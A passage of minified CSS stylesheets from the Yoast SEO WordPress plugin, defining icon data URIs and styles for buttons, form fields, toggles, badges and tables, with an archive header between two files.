65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218M1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" width="1792" height="1792" aria-hidden="true"><path d="M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218M1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558"/></svg>');--yoast-checkmark--green:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%236EA029' viewBox='0 0 512 512'%3E%3Cpath d='m173.898 439.404-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001'/%3E%3C/svg%3E");--yoast-exclamation-mark:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23DC3232' viewBox='0 0 512 512'%3E%3Cpath d='M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248m-248 50c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46m-43.673-165.346 7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654'/%3E%3C/svg%3E");--yoast-svg-icon-schema:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='512' height='512' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24m181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24m32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24m-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24m-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24M0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24m386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24m0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24M181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24'/%3E%3C/svg%3E");--yoast-svg-icon-schema-active:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='512' height='512' aria-hidden='true'%3E%3Cpath fill='D4444' d='M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24m181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24m32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24m-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24m-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24M0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24m386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24m0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24M181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24'/%3E%3C/svg%3E");--yoast-svg-icon-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' stroke='%23707070' viewBox='0 0 24 24'%3E%3Cpath stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m4 16 4.586-4.586a2 2 0 0 1 2.828 0L16 16m-2-2 1.586-1.586a2 2 0 0 1 2.828 0L20 14m-6-6h.01M6 20h12a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2'/%3E%3C/svg%3E");--yoast-font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;--yoast-font-size-default:14px;--yoast-font-weight-default:400;--yoast-font-weight-bold:600;--yoast-color-font-default:#404040;--yoast-shadow-default:0px 3px 6px #00000026}.yoast-h1,.yoast-h2,.yoast-h3{color:var(--yoast-color-primary);font-weight:400;line-height:1.2;margin:0}.yoast-h1 a,.yoast-h2 a,.yoast-h3 a{color:var(--yoast-color-primary);text-decoration:none}.yoast-h1{font-size:24px}.yoast-h2{font-size:20px}.yoast-h3{font-size:16px}.yoast-paragraph{font-size:var(--yoast-font-size-default);margin-top:0}.screen-reader-text{clip:rect(1px,1px,1px,1px);word-wrap:normal!important;border:0;-webkit-clip-path:inset(50%);clip-path:inset(50%);margin:-1px;padding:0}.screen-reader-text,.visually-hidden{height:1px;overflow:hidden;position:absolute;width:1px}.visually-hidden{clip:rect(1px,1px,1px,1px);word-wrap:normal;white-space:nowrap}@media (max-width:782px){.yoast-show-on-mobile{display:initial!important}}@media (min-width:782px){.yoast-hide-on-desktop{display:none}}.yoast-field-group__title-separator{display:flex;flex-wrap:wrap}.yoast-field-group__title-separator label{align-items:center;border:var(--yoast-border-default);box-sizing:border-box;cursor:pointer;display:flex;flex-direction:column;height:42px;justify-content:center;margin:0 6px 6px 0;width:42px}.yoast-field-group__title-separator input[type=radio]:checked+label{border:3px solid var(--yoast-color-primary)}.yoast .yoast-button{align-items:center;border:1px solid #0003;border-radius:4px;box-shadow:inset 0 -2px 0 #0000001a;cursor:pointer;display:inline-flex;font-size:14px;justify-content:center;line-height:1.2;padding:10px 12px 12px;position:relative;text-decoration:none;transition:background-color .15s ease-out 0s}.yoast .yoast-button:focus,.yoast-close:focus,.yoast-hide:focus,.yoast-remove:focus{box-shadow:var(--yoast-color-focus);outline:none}.yoast .yoast-button::-moz-focus-inner,.yoast-close::-moz-focus-inner,.yoast-hide::-moz-focus-inner,.yoast-remove::-moz-focus-inner{border:0}.yoast .yoast-button:not(:disabled):active{box-shadow:none;top:2px}.yoast .yoast-button:disabled{cursor:default;opacity:.5}.yoast .yoast-button--primary{background-color:var(--yoast-color-primary)}.yoast .yoast-button--primary,.yoast .yoast-button--primary:visited{border:1px solid #0003;color:var(--yoast-color-white)}.yoast .yoast-button--primary:active,.yoast .yoast-button--primary:not(:disabled):hover{background-color:var(--yoast-color-primary-darker);border:1px solid #0003;color:var(--yoast-color-white)}.yoast .yoast-button--primary:focus{background-color:var(--yoast-color-primary);color:var(--yoast-color-white)}.yoast .yoast-button--secondary{background-color:var(--yoast-color-secondary);box-shadow:inset 0 -2px 0 #0000001a;color:var(--yoast-color-dark)}.yoast .yoast-button--secondary:visited{color:var(--yoast-color-dark)}.yoast .yoast-button--secondary:active,.yoast .yoast-button--secondary:not(:disabled):hover{background-color:var(--yoast-color-secondary-darker);border:1px solid #0003;color:var(--yoast-color-dark)}.yoast .yoast-button--buy{background-color:var(--yoast-color-sale)}.yoast .yoast-button--buy,.yoast .yoast-button--buy:visited{color:var(--yoast-color-dark)}.yoast .yoast-button--buy:active,.yoast .yoast-button--buy:not(:disabled):hover{background-color:var(--yoast-color-sale-darker);color:var(--yoast-color-dark)}.yoast .yoast-button--buy__caret{height:16px;margin:0 -2px 0 6px;-webkit-mask-image:var(--yoast-svg-icon-caret-right);mask-image:var(--yoast-svg-icon-caret-right);width:6px}.yoast .yoast-button--buy__caret,.yoast .yoast-button--edit{background-color:currentColor;display:inline-block;flex-shrink:0}.yoast .yoast-button--edit{height:18px;margin-right:8px;-webkit-mask-image:var(--yoast-svg-icon-edit);mask-image:var(--yoast-svg-icon-edit);width:20.25px}html[dir=rtl] .yoast .yoast-button--edit{margin-left:8px;margin-right:0}html[dir=rtl] .yoast .yoast-button--buy{flex-direction:row-reverse}.yoast .yoast-button--small{font-size:13px;padding:5px 8px 8px}.yoast .yoast-button--small .yoast-button--buy__caret{height:10px;width:4px}.yoast-hide,.yoast-remove{background-color:initial;border:none;color:#dc3232;cursor:pointer;font-size:14px;padding:0;text-decoration:underline}.yoast-hide{color:var(--yoast-color-link)}.yoast-field-group__upload .yoast-button{margin-right:24px}.yoast-close{align-items:center;background:none;border:none;box-shadow:none;cursor:pointer;display:flex;height:44px;justify-content:center;padding:0;width:44px}.yoast-close svg{fill:var(--yoast-color-default);width:14px}@media screen and (max-width:782px){.yoast-close svg{width:10px}}.yoast-field-group__checkbox{align-items:center;display:flex}.yoast-field-group__checkbox:not(.yoast-field-group__checkbox--horizontal)+.yoast-field-group__checkbox{margin-top:4px}.yoast-field-group__checkbox label{cursor:pointer}.yoast-field-group__checkbox input[type=checkbox]{-webkit-appearance:none;-moz-appearance:none;border:var(--yoast-border-default);border-radius:2px;box-shadow:inset 0 2px 4px #0000001a;cursor:pointer;height:18px;margin:2px 8px 0 0;overflow:hidden;padding:2px;position:relative;transition:background-color .15s ease-out 0s;width:18px}.yoast-field-group__checkbox input[type=checkbox]:checked:focus,.yoast-field-group__checkbox input[type=checkbox]:focus{box-shadow:var(--yoast-color-focus);outline:none}.yoast label+input[type=checkbox]{margin-left:16px}.yoast-field-group__checkbox input[type=checkbox]:checked{background:var(--yoast-checkmark--white) var(--yoast-color-primary) no-repeat center /13px;border:1px solid var(--yoast-color-primary);box-shadow:none}.yoast-field-group__checkbox input[type=checkbox]:checked:before{content:""}.yoast-field-group{border:none;margin:0 0 24px;padding:0;position:relative}.yoast-field-group__title{align-items:center;color:var(--yoast-color-label);display:flex;font-size:var(--yoast-font-size-default);font-weight:var(--yoast-font-weight-bold);line-height:1.5;margin:0 0 8px;padding:0}.yoast-field-group__title.yoast-field-group__title--light{font-weight:var(--yoast-font-weight-default)}.yoast-field-group .field-group-description{margin:0 0 1em}.yoast-field-group__inline{align-items:center;display:flex}.yoast-field-group__inline .yoast-field-group__inputfield{margin-right:8px}.yoast-field-group__inline .yoast-button{flex-shrink:0}.yoast-field-group .components-form-token-field__label{display:none}@media screen and (max-width:782px){.yoast-field-group__inline{display:block}.yoast-field-group__inline .yoast-field-group__inputfield{margin-bottom:8px;margin-right:0}}.yoast-help{margin-left:4px}.yoast-help__icon svg{fill:var(--yoast-color-inactive-text);height:12px;transition:var(--yoast-transition-default);width:12px}.yoast-help:focus svg,.yoast-help:hover svg{fill:var(--yoast-color-link)}.yoast-data-model{list-style:none;padding:0}.yoast-data-model li{font-weight:var(--yoast-font-weight-bold);line-height:1.4;padding:0 8px;position:relative;z-index:2}.yoast-data-model span{float:right;font-weight:var(--yoast-font-weight-default)}.yoast-data-model li+li{margin-top:9px}.yoast-data-model li:after{background:#f5d6e6;content:"";height:20px;left:0;position:absolute;width:var(--yoast-width);z-index:-1}.yoast-image-select__preview{align-items:center;background-color:initial;border:1px solid #0003;display:flex;justify-content:center;max-height:200px;max-width:100%;min-height:165px;overflow:hidden;padding:0;width:300px}.yoast-image-select__preview--no-preview{background:var(--yoast-color-inactive-grey-light) var(--yoast-svg-icon-image) no-repeat center center /64px 64px}.yoast-image-select__preview.yoast-image-select__preview-has-warnings{margin-bottom:16px}.yoast-image-select__preview .yoast-image-select__preview--image{height:100%;max-width:100%;object-fit:contain}.yoast-image-select .yoast-field-group__inputfield{margin-bottom:1em}.yoast-image-select .yoast-button{margin-right:1.5em}.yoast-image-select{margin-bottom:1.7em;margin-top:1.7em}.yoast-image-select .yoast-image-select-buttons button{margin-top:1em}#organization-image-select .yoast-image-select{margin-top:0}:root{--yoast-color-placeholder:#707070}.yoast .yoast-field-group__inputfield,.yoast .yoast-field-group__textarea{background:var(--yoast-color-white);border:var(--yoast-border-default);border-radius:0;box-shadow:inset 0 2px 4px #0000001a;box-sizing:border-box;font-size:var(--yoast-font-size-default);padding:8px;width:100%}.yoast .yoast-field-group__inputfield:focus,.yoast .yoast-field-group__textarea:focus{box-shadow:var(--yoast-color-focus);outline:none}.yoast-field-group__upload .yoast-field-group__inputfield{margin-bottom:8px}.yoast-field-group__inputfield{height:40px}.yoast-field-group__textarea{min-height:200px}.yoast input+.description,.yoast-field-group .description+.yoast-field-group__inputfield,.yoast-field-group .description+input,.yoast-field-group__inputfield+.description{margin-bottom:24px;margin-top:8px}.yoast .yoast-field-group__inputfield:disabled,.yoast .yoast-field-group__inputfield:read-only,.yoast .yoast-field-group__inputfield[aria-disabled=true]{background:var(--yoast-color-inactive-grey-light)}.yoast .duration-inputs__wrapper{display:flex;flex-direction:row}.yoast .duration-inputs__input-wrapper{display:flex;flex-direction:column}.yoast .duration-inputs__input{margin:0 8px 0 0;width:4em}::placeholder{color:var(--yoast-color-placeholder);opacity:1}.yoast-insights-row:not(:last-of-type){border-bottom:1px solid #0000001a;margin-bottom:24px;padding-bottom:24px}.yoast-insights-row--columns{grid-gap:24px;display:grid;grid-template-columns:1fr 1fr}@media(min-width:782px){.yoast-modal-content .yoast-insights-row{border-bottom:1px solid #0000001a;margin-bottom:24px;padding-bottom:24px}}.yoast-insights-card__content{display:flex}.yoast-insights-card__score{flex-shrink:0;font-size:16px;margin-right:2em}.yoast-insights-card__amount{display:block;font-size:3.5em;line-height:1}.yoast-field-group__radiobutton{align-items:center;display:flex}.yoast-field-group__radiobutton--vertical:not(:last-of-type){margin-bottom:8px}.yoast-field-group__radiobutton label{cursor:pointer;margin-right:16px}.yoast-field-group__radiobutton input[type=radio]{-webkit-appearance:none;-moz-appearance:none;border:var(--yoast-border-default);border-radius:50%;box-shadow:inset 0 2px 4px #0000001a;cursor:pointer;height:18px;margin:0 8px 0 0;overflow:hidden;padding:2px;position:relative;transition:border-color .15s ease-out 0s;width:18px}.yoast-field-group__radiobutton input[type=radio]:checked:focus,.yoast-field-group__radiobutton input[type=radio]:focus{box-shadow:var(--yoast-color-focus);outline:none}.yoast-field-group__radiobutton input[type=radio]:checked{background-color:inherit;border-color:var(--yoast-color-primary)}.yoast-field-group__radiobutton input[type=radio]:checked:before{content:none}.yoast-field-group__radiobutton input[type=radio]:after{background-color:initial;border-radius:50%;content:"";display:block;height:10px;left:3px;position:absolute;top:3px;transition:background-color .15s ease-out 0s;width:10px}.yoast-field-group__radiobutton input[type=radio]:checked:after{background-color:var(--yoast-color-primary)}.yoast-field-group__select{align-items:center;cursor:pointer;display:flex}.yoast-select__indicator-separator{display:none}.yoast-select-container{background-color:#fff;border:var(--yoast-border-default);border-radius:0;box-shadow:inset 0 2px 4px #0000001a;display:block;min-height:2.85em;padding:0;position:relative;width:100%}.yoast-select-container .yoast-select__control--is-focused{box-shadow:var(--yoast-color-focus);outline:none}.yoast-select-container .yoast-select__indicator>svg{color:#212121}.yoast-select-container .yoast-select__menu{margin:0;z-index:2}.yoast-select-container .yoast-select__multi-value__label{align-items:center;box-sizing:border-box;color:inherit;display:flex;font-size:14px;padding:0}.yoast-select-container .yoast-select__multi-value{background-color:var(--yoast-color-primary);border:0;border-radius:12px;color:var(--yoast-color-white);display:flex;flex-direction:row-reverse;font-weight:500;line-height:1.5;margin-bottom:3px;margin-right:8px;margin-top:3px;padding:1px 10px 2px}.yoast-select-container .yoast-select__menu-list{padding:0}.yoast-select-container .yoast-select__multi-value__remove{-webkit-box-align:center;align-items:center;border-radius:2px;box-sizing:border-box;display:flex;margin-right:6px;padding:2px 0 0}.yoast-select-container .yoast-select__multi-value__remove:hover{background-color:inherit;color:var(--yoast-color-white);cursor:pointer}.yoast-select-container .yoast-select__control{background-color:initial;border:none;border-radius:0}.yoast-select-container .yoast-select__option{box-sizing:border-box;color:inherit;cursor:default;display:block;padding:8px 12px;-webkit-user-select:none;user-select:none;width:100%}.yoast-select-container .yoast-select__option--is-focused{background-color:var(--yoast-color-primary-lighter);color:var(--yoast-color-font-default)}.yoast-select-container .yoast-select__option.yoast-select__option--is-selected{background-color:var(--yoast-color-primary);color:var(--yoast-color-white)}.yoast-select-container input[type=text]:focus{box-shadow:none}.yoast-field-group select,.yoast-field-group__select select{-webkit-appearance:none;-moz-appearance:none;background-color:#fff;background-image:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 8"><path d="M1.4 0 6 4.6 10.6 0 12 1.4 6 7.5 0 1.4z"/></svg>');background-position:right 15px center;background-repeat:no-repeat;background-size:13px auto;border:var(--yoast-border-default);border-radius:0;box-shadow:inset 0 2px 4px #0000001a;display:block;font-size:var(--yoast-font-size-default);max-width:300px;min-height:2.85em;padding:5px 8px;position:relative;width:100%}.yoast-field-group .yoast-select__value-container{padding:0 8px!important}.yoast-field-group select:focus,.yoast-field-group__select select:focus{box-shadow:var(--yoast-color-focus);outline:none}.yoast-field-group select,.yoast-field-group__select select{line-height:1.9;padding-right:40px}.yoast-field-group select.yoast-select--inline{display:inline-block}.yoast-field-group--inline{display:inline-block;margin-right:8px;max-width:300px;width:100%}.yoast-star-rating{display:inline-block;height:12px;width:65px}.yoast-star-rating span{background-repeat:repeat-x;background-size:13px 12px;height:100%;width:100%}.yoast-star-rating__placeholder{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACoAAAAmCAQAAAAYCMGrAAAA+klEQVR4AcWV4cbtMBBFF0MIVUopoVSrhDDv/3gf/RFRpzdNOty1HiBO99mzeYWgCMZMKCPGrCgrxiSUhCkDeukxJKCXAUMiehkxw6FZhxEzmp0x4kCzByYISqlYdal0supS6WrVpdLEK0YSamJiJOPY0c/uOG4s6CcXfuKJaJcRzyNCQJsNiF1sRTR1hP11NNJ8RCrONOPRf+r7J+TZgQ5CNfMOYvW/2YxDqzqA/57+gVY9eiakrnyZEGXDsaE3p/4JScwPX3rtnZATDxnPWT7X16XAHaH8HWNrlxJD9TyGti5tCM84zpZe+RxNjeX9tZqLaGoMxN/P/wHP5Vw+8ZxnEQAAAABJRU5ErkJggg==);display:inline-block;overflow:hidden;position:relative}.yoast-star-rating__fill{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACoAAAAmBAMAAABALxQTAAAAFVBMVEVMaXH4twP4twP4twP4twP4twP4twP7w8S/AAAAB3RSTlMAFv5uPpvQloUsTQAAAMFJREFUeAGE0TEOgzAMQFEXoDNiYC6/wFxxAsTADDkB5f6HqNRENXUi8TYiRfnY8lNXkjBOkuBWSeAhsYJOYiW9xO4MEqshkTbCSyIH7GLdgFasHHgmwkikZQD6OROZRG4Hxju8o/TNhbNhCqkOxaZDVKdxNnq/EjUS/A2o0PuXpyVeb9bjDWY9QSWXDQfBbtbjtWY9bM4sqfx+5yYt8wNcAFEzrGGkk5668KsFrKewPtQ3aFqh8WOnYZ+lIBQkgykAWk8rlAqcHfQAAAAASUVORK5CYII=);display:block}.yoast-table{border:var(--yoast-border-default);border-bottom:0;border-spacing:0;color:var(--yoast-color-default);font-size:var(--yoast-font-size-default);line-height:1.2;width:100%}.yoast-table tbody tr:nth-child(odd){background-color:#f9f9f9}.yoast-table th{color:var(--yoast-color-dark);font-weight:var(--yoast-font-weight-bold);text-align:left;white-space:nowrap}.yoast-table td,.yoast-table th{border-bottom:var(--yoast-border-default);padding:18px 12px}.yoast-table td:first-child,.yoast-table th:first-child{padding-left:16px}.yoast-table td:last-child,.yoast-table th:last-child{padding-right:16px}td.yoast-table__button,td.yoast-table__image{padding:10px 18px 9px}.yoast-table.yoast-table--nobreak td,td.yoast-table--nobreak,tr.yoast-table--nobreak td{white-space:nowrap}th.yoast-table--primary{width:100%}td.yoast-table--nopadding{padding:0 12px}.yoast-badge{border-radius:8px;display:inline-block;font-size:10px;font-weight:600;line-height:1.6;min-height:16px;padding:0 8px}.yoast-badge__in-label{margin-left:8px;vertical-align:text-top}.yoast-new-badge{background-color:#cce5ff;color:#004973}.yoast-premium-badge{background-color:#fff3cd;color:#674e00}.yoast-beta-badge{background-color:#cce5ff;color:#004973;margin:0 2px 0 0}.yoast-feature{margin-right:150px;max-width:600px}.yoast-toggle__item{border-bottom:1px solid var(--yoast-color-border);display:flex;justify-content:space-between;margin-bottom:16px;padding-bottom:16px}.yoast-toggle__item-disabled{position:relative}.yoast-toggle__item-disabled .yoast-button.yoast-button--buy{left:100%;margin-left:32px;position:absolute;white-space:nowrap}.yoast-toggle__item-disabled .yoast-toggle,.yoast-toggle__item-disabled .yoast-toggle__item-title{opacity:.5}.yoast-toggle__item-title{align-items:center;display:flex;font-weight:700}input[type=checkbox].yoast-toggle__checkbox{-webkit-appearance:none;-moz-appearance:none;background-color:initial;border:0;box-shadow:none;height:23px;margin-left:8px;overflow:hidden;position:absolute;width:34px;z-index:1}input[type=checkbox].yoast-toggle__checkbox:checked:before{content:none}.yoast-toggle__switch{background-color:var(--yoast-color-inactive-grey);border-radius:8px;display:inline-block;height:14px;margin-left:8px;margin-right:8px;position:relative;width:34px}.yoast-toggle__checkbox:focus~.yoast-toggle__switch:before{box-shadow:var(--yoast-color-focus)}.yoast-toggle__switch:before{background-color:var(--yoast-color-inactive-grey-light);border:.5px solid #0000001a;border-radius:50%;box-shadow:0 1px 2px 0 #0006;box-sizing:border-box;content:"";height:20px;left:0;position:absolute;top:-3px;width:20px}.yoast-toggle,.yoast-toggle--inverse{align-items:center;display:grid;grid-template:1fr/repeat(3,auto);position:relative}.yoast-toggle--inverse>*,.yoast-toggle>*{grid-row:1}.yoast-toggle--inactive,.yoast-toggle--inverse .yoast-toggle--active{grid-column:1}.yoast-toggle__checkbox,.yoast-toggle__switch{grid-column:2}.yoast-toggle--active,.yoast-toggle--inverse .yoast-toggle--inactive{grid-column:3}.yoast-toggle .yoast-toggle__checkbox:checked~.yoast-toggle__switch,.yoast-toggle--inverse .yoast-toggle__checkbox:not(:checked)~.yoast-toggle__switch{background-color:var(--yoast-color-active-light)}.yoast-toggle .yoast-toggle__checkbox:checked~.yoast-toggle__switch:before,.yoast-toggle--inverse .yoast-toggle__checkbox:not(:checked)~.yoast-toggle__switch:before{background-color:var(--yoast-color-active);left:auto;right:0}.yoast-toggle--inverse .yoast-toggle__checkbox:checked~.yoast-toggle__switch:before{left:0;right:auto}.yoast-toggle .yoast-toggle__checkbox~.yoast-toggle--inactive,.yoast-toggle--inverse .yoast-toggle__checkbox~.yoast-toggle--inactive{color:var(--yoast-color-default-darker)}.yoast-toggle .yoast-toggle__checkbox:checked~.yoast-toggle--inactive,.yoast-toggle .yoast-toggle__checkbox~.yoast-toggle--active,.yoast-toggle--inverse .yoast-toggle__checkbox:checked~.yoast-toggle--inactive,.yoast-toggle--inverse .yoast-toggle__checkbox~.yoast-toggle--active{color:var(--yoast-color-inactive-text)}.yoast-toggle .yoast-toggle__checkbox:checked~.yoast-toggle--active,.yoast-toggle--inverse .yoast-toggle__checkbox:checked~.yoast-toggle--active{color:var(--yoast-color-default-darker)}@media(max-width:400px){.yoast-feature{margin-right:0}.yoast-toggle__item-disabled{flex-wrap:wrap}.yoast-toggle__item-disabled .yoast-button.yoast-button--buy{margin-left:0;margin-top:8px;position:static}}wordpress-seo/css/dist/icons-2420-rtl.css000064400000017426147510273070014144 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 